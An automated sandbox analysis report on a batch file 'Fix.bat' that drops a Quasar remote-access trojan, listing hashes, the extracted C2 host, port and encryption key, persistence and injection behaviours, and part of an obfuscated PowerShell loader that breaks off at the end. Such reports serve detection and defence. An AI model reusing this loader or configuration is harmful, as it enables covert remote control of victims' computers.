Analysis
-
max time kernel
288s -
max time network
301s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
12-05-2024 19:01
Static task
static1
Behavioral task
behavioral1
Sample
Fix.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Fix.bat
Resource
win10v2004-20240508-en
General
-
Target
Fix.bat
-
Size
621B
-
MD5
e235e723f57a72ef725306c3e14d4726
-
SHA1
9b2153053f8e89c300e32da5df32e9b990594aac
-
SHA256
aebe0bafeb12706e614a45f2df40518d32d502093517ce95e2d3c1bbfd64ca67
-
SHA512
0a4eda531be3904ae944d2c1c43755921cde4333a8e9d6bee6669e3de73b6c7859bb7ab3aa7a712fa2085d3fa1fb1d1ed14e5d6ed488a10bd2f6ab6ed049d25e
Malware Config
Extracted
quasar
3.1.5
RPad
even-lemon.gl.at.ply.gg:33587
$Sxr-okPqrmZ8kNVUcS4Rp0
-
encryption_key
XmcBnPuLlN1e8SHIRR1z
-
install_name
$sxr-powershell.exe
-
log_directory
$SXR-LOGS
-
reconnect_delay
3000
-
startup_key
$sxr-powershell
-
subdirectory
$sxr-seroxen2
Signatures
-
Quasar payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\BoostBot.exe family_quasar behavioral1/memory/2516-53-0x0000000000860000-0x00000000008CC000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
Processes:
powershell.EXEpowershell.EXEdescription pid process target process PID 3736 created 584 3736 powershell.EXE winlogon.exe PID 4348 created 584 4348 powershell.EXE winlogon.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Downloads MZ/PE file
-
Executes dropped EXE 4 IoCs
Processes:
BoostBot.exe$sxr-powershell.exeinstall.exeinstall.exepid process 2516 BoostBot.exe 748 $sxr-powershell.exe 2852 install.exe 2432 install.exe -
Modifies file permissions 1 TTPs 1 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
Processes:
flow ioc 15 raw.githubusercontent.com 16 raw.githubusercontent.com 23 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 10 ip-api.com -
Drops file in System32 directory 17 IoCs
Processes:
svchost.exesvchost.exeOfficeClickToRun.exepowershell.EXEsvchost.exepowershell.EXEdescription ioc process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9C237ECACBCB4101A3BE740DF0E53F83 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6D1A73D92C4DC2751A4B5A2404E1BDCC svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\System32\Tasks\$77svc64 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 OfficeClickToRun.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
powershell.EXEpowershell.EXEdescription pid process target process PID 3736 set thread context of 3904 3736 powershell.EXE dllhost.exe PID 4348 set thread context of 2204 4348 powershell.EXE dllhost.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeSCHTASKS.exeschtasks.exepid process 520 schtasks.exe 1212 SCHTASKS.exe 2096 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.EXEpowershell.EXEOfficeClickToRun.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 12 May 2024 19:03:17 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715540596" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={453FD598-1DD2-478B-921B-7F687A46E64D}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.EXEdllhost.exepowershell.EXEdllhost.exepid process 5112 powershell.exe 5112 powershell.exe 5112 powershell.exe 3736 powershell.EXE 3736 powershell.EXE 3736 powershell.EXE 3736 powershell.EXE 3904 dllhost.exe 3904 dllhost.exe 3904 dllhost.exe 3904 dllhost.exe 3904 dllhost.exe 3904 dllhost.exe 3904 dllhost.exe 4348 powershell.EXE 4348 powershell.EXE 4348 powershell.EXE 3904 dllhost.exe 3904 dllhost.exe 3904 dllhost.exe 3904 dllhost.exe 3904 dllhost.exe 3904 dllhost.exe 3904 dllhost.exe 3904 dllhost.exe 3904 dllhost.exe 4348 powershell.EXE 3904 dllhost.exe 3904 dllhost.exe 4348 powershell.EXE 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe 2204 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exeBoostBot.exe$sxr-powershell.exepowershell.EXEdllhost.exepowershell.EXEdllhost.exesvchost.exeExplorer.EXEsvchost.exedescription pid process Token: SeDebugPrivilege 5112 powershell.exe Token: SeDebugPrivilege 2516 BoostBot.exe Token: SeDebugPrivilege 748 $sxr-powershell.exe Token: SeDebugPrivilege 3736 powershell.EXE Token: SeDebugPrivilege 3736 powershell.EXE Token: SeDebugPrivilege 3904 dllhost.exe Token: SeDebugPrivilege 4348 powershell.EXE Token: SeDebugPrivilege 4348 powershell.EXE Token: SeDebugPrivilege 2204 dllhost.exe Token: SeAuditPrivilege 2316 svchost.exe Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeAssignPrimaryTokenPrivilege 2480 svchost.exe Token: SeIncreaseQuotaPrivilege 2480 svchost.exe Token: SeSecurityPrivilege 2480 svchost.exe Token: SeTakeOwnershipPrivilege 2480 svchost.exe Token: SeLoadDriverPrivilege 2480 svchost.exe Token: SeSystemtimePrivilege 2480 svchost.exe Token: SeBackupPrivilege 2480 svchost.exe Token: SeRestorePrivilege 2480 svchost.exe Token: SeShutdownPrivilege 2480 svchost.exe Token: SeSystemEnvironmentPrivilege 2480 svchost.exe Token: SeUndockPrivilege 2480 svchost.exe Token: SeManageVolumePrivilege 2480 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2480 svchost.exe Token: SeIncreaseQuotaPrivilege 2480 svchost.exe Token: SeSecurityPrivilege 2480 svchost.exe Token: SeTakeOwnershipPrivilege 2480 svchost.exe Token: SeLoadDriverPrivilege 2480 svchost.exe Token: SeSystemtimePrivilege 2480 svchost.exe Token: SeBackupPrivilege 2480 svchost.exe Token: SeRestorePrivilege 2480 svchost.exe Token: SeShutdownPrivilege 2480 svchost.exe Token: SeSystemEnvironmentPrivilege 2480 svchost.exe Token: SeUndockPrivilege 2480 svchost.exe Token: SeManageVolumePrivilege 2480 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2480 svchost.exe Token: SeIncreaseQuotaPrivilege 2480 svchost.exe Token: SeSecurityPrivilege 2480 svchost.exe Token: SeTakeOwnershipPrivilege 2480 svchost.exe Token: SeLoadDriverPrivilege 2480 svchost.exe Token: SeSystemtimePrivilege 2480 svchost.exe Token: SeBackupPrivilege 2480 svchost.exe Token: SeRestorePrivilege 2480 svchost.exe Token: SeShutdownPrivilege 2480 svchost.exe Token: SeSystemEnvironmentPrivilege 2480 svchost.exe Token: SeUndockPrivilege 2480 svchost.exe Token: SeManageVolumePrivilege 2480 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2480 svchost.exe Token: SeIncreaseQuotaPrivilege 2480 svchost.exe Token: SeSecurityPrivilege 2480 svchost.exe Token: SeTakeOwnershipPrivilege 2480 svchost.exe Token: SeLoadDriverPrivilege 2480 svchost.exe Token: SeSystemtimePrivilege 2480 svchost.exe Token: SeBackupPrivilege 2480 svchost.exe Token: SeRestorePrivilege 2480 svchost.exe Token: SeShutdownPrivilege 2480 svchost.exe Token: SeSystemEnvironmentPrivilege 2480 svchost.exe Token: SeUndockPrivilege 2480 svchost.exe Token: SeManageVolumePrivilege 2480 svchost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
$sxr-powershell.exepid process 748 $sxr-powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exepowershell.exeBoostBot.exe$sxr-powershell.exepowershell.EXEdllhost.exedescription pid process target process PID 788 wrote to memory of 1816 788 cmd.exe certutil.exe PID 788 wrote to memory of 1816 788 cmd.exe certutil.exe PID 788 wrote to memory of 5112 788 cmd.exe powershell.exe PID 788 wrote to memory of 5112 788 cmd.exe powershell.exe PID 5112 wrote to memory of 2516 5112 powershell.exe BoostBot.exe PID 5112 wrote to memory of 2516 5112 powershell.exe BoostBot.exe PID 5112 wrote to memory of 2516 5112 powershell.exe BoostBot.exe PID 788 wrote to memory of 2104 788 cmd.exe icacls.exe PID 788 wrote to memory of 2104 788 cmd.exe icacls.exe PID 788 wrote to memory of 3076 788 cmd.exe reg.exe PID 788 wrote to memory of 3076 788 cmd.exe reg.exe PID 788 wrote to memory of 2188 788 cmd.exe attrib.exe PID 788 wrote to memory of 2188 788 cmd.exe attrib.exe PID 2516 wrote to memory of 520 2516 BoostBot.exe schtasks.exe PID 2516 wrote to memory of 520 2516 BoostBot.exe schtasks.exe PID 2516 wrote to memory of 520 2516 BoostBot.exe schtasks.exe PID 2516 wrote to memory of 748 2516 BoostBot.exe $sxr-powershell.exe PID 2516 wrote to memory of 748 2516 BoostBot.exe $sxr-powershell.exe PID 2516 wrote to memory of 748 2516 BoostBot.exe $sxr-powershell.exe PID 2516 wrote to memory of 2852 2516 BoostBot.exe install.exe PID 2516 wrote to memory of 2852 2516 BoostBot.exe install.exe PID 2516 wrote to memory of 2852 2516 BoostBot.exe install.exe PID 2516 wrote to memory of 1212 2516 BoostBot.exe SCHTASKS.exe PID 2516 wrote to memory of 1212 2516 BoostBot.exe SCHTASKS.exe PID 2516 wrote to memory of 1212 2516 BoostBot.exe SCHTASKS.exe PID 748 wrote to memory of 2096 748 $sxr-powershell.exe schtasks.exe PID 748 wrote to memory of 2096 748 $sxr-powershell.exe schtasks.exe PID 748 wrote to memory of 2096 748 $sxr-powershell.exe schtasks.exe PID 3736 wrote to memory of 3904 3736 powershell.EXE dllhost.exe PID 3736 wrote to memory of 3904 3736 powershell.EXE dllhost.exe PID 3736 wrote to memory of 3904 3736 powershell.EXE dllhost.exe PID 3736 wrote to memory of 3904 3736 powershell.EXE dllhost.exe PID 3736 wrote to memory of 3904 3736 powershell.EXE dllhost.exe PID 3736 wrote to memory of 3904 3736 powershell.EXE dllhost.exe PID 3736 wrote to memory of 3904 3736 powershell.EXE dllhost.exe PID 3736 wrote to memory of 3904 3736 powershell.EXE dllhost.exe PID 3904 wrote to memory of 584 3904 dllhost.exe winlogon.exe PID 3904 wrote to memory of 636 3904 dllhost.exe lsass.exe PID 3904 wrote to memory of 740 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 900 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 992 3904 dllhost.exe dwm.exe PID 3904 wrote to memory of 360 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 404 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 1028 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 1068 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 1076 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 1172 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 1204 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 1300 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 1308 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 1324 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 1444 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 1476 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 1484 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 1540 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 1560 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 1672 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 1772 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 1784 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 1800 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 1824 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 1936 3904 dllhost.exe svchost.exe PID 3904 wrote to memory of 2012 3904 dllhost.exe spoolsv.exe PID 3904 wrote to memory of 1864 3904 dllhost.exe svchost.exe -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:584
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:992
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{0c353467-178a-4639-a7e4-d7449f47e637}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3904 -
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{fc9e926c-4363-4f2c-bb55-d256de6fd151}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2204
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:636
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay1⤵PID:740
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s LSM1⤵PID:900
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts1⤵PID:360
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵PID:404
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog1⤵
- Drops file in System32 directory
PID:1028
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService1⤵PID:1068
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
PID:1076 -
c:\windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:3100
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:WwLRZjDrFiSQ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$gfKqMnlRVnsnhc,[Parameter(Position=1)][Type]$QcHCclvqXC)$scaySfhzHYm=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+'c'+'t'+''+[Char](101)+''+'d'+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+'em'+'o'+''+[Char](114)+'y'+[Char](77)+''+'o'+'d'+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+'eg'+[Char](97)+''+[Char](116)+'e'+'T'+''+[Char](121)+'p'+[Char](101)+'','Cl'+[Char](97)+'s'+[Char](115)+''+[Char](44)+'P'+'u'+'bl'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+'s'+[Char](105)+''+[Char](67)+'l'+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+''+'u'+''+[Char](116)+'o'+'C'+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$scaySfhzHYm.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+'pec'+'i'+''+[Char](97)+'lN'+'a'+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'eB'+'y'+''+[Char](83)+'ig,Pu'+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$gfKqMnlRVnsnhc).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+'d');$scaySfhzHYm.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+''+'k'+'e',''+'P'+''+[Char](117)+'b'+'l'+''+'i'+'c,H'+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+'Si'+[Char](103)+''+','+''+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+'lo'+[Char](116)+''+','+'Vi'+[Char](114)+''+[Char](116)+''+'u'+'al',$QcHCclvqXC,$gfKqMnlRVnsnhc).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+'g'+'e'+''+[Char](100)+'');Write-Output $scaySfhzHYm.CreateType();}$LBjkpNymJHNPn=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+'t'+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+[Char](99)+''+'r'+''+[Char](111)+''+'s'+''+'o'+'f'+[Char](116)+''+[Char](46)+''+[Char](87)+'i'+[Char](110)+''+'3'+''+'2'+'.'+[Char](85)+'ns'+[Char](97)+''+'f'+'e'+'N'+''+'a'+'t'+[Char](105)+''+[Char](118)+'e'+'M'+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$PXjInHyivKflyt=$LBjkpNymJHNPn.GetMethod(''+[Char](71)+'e'+[Char](116)+''+'P'+''+'r'+''+[Char](111)+''+[Char](99)+'Add'+'r'+''+[Char](101)+'s'+'s'+'',[Reflection.BindingFlags](''+'P'+'u'+[Char](98)+'l'+'i'+'c,'+'S'+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object 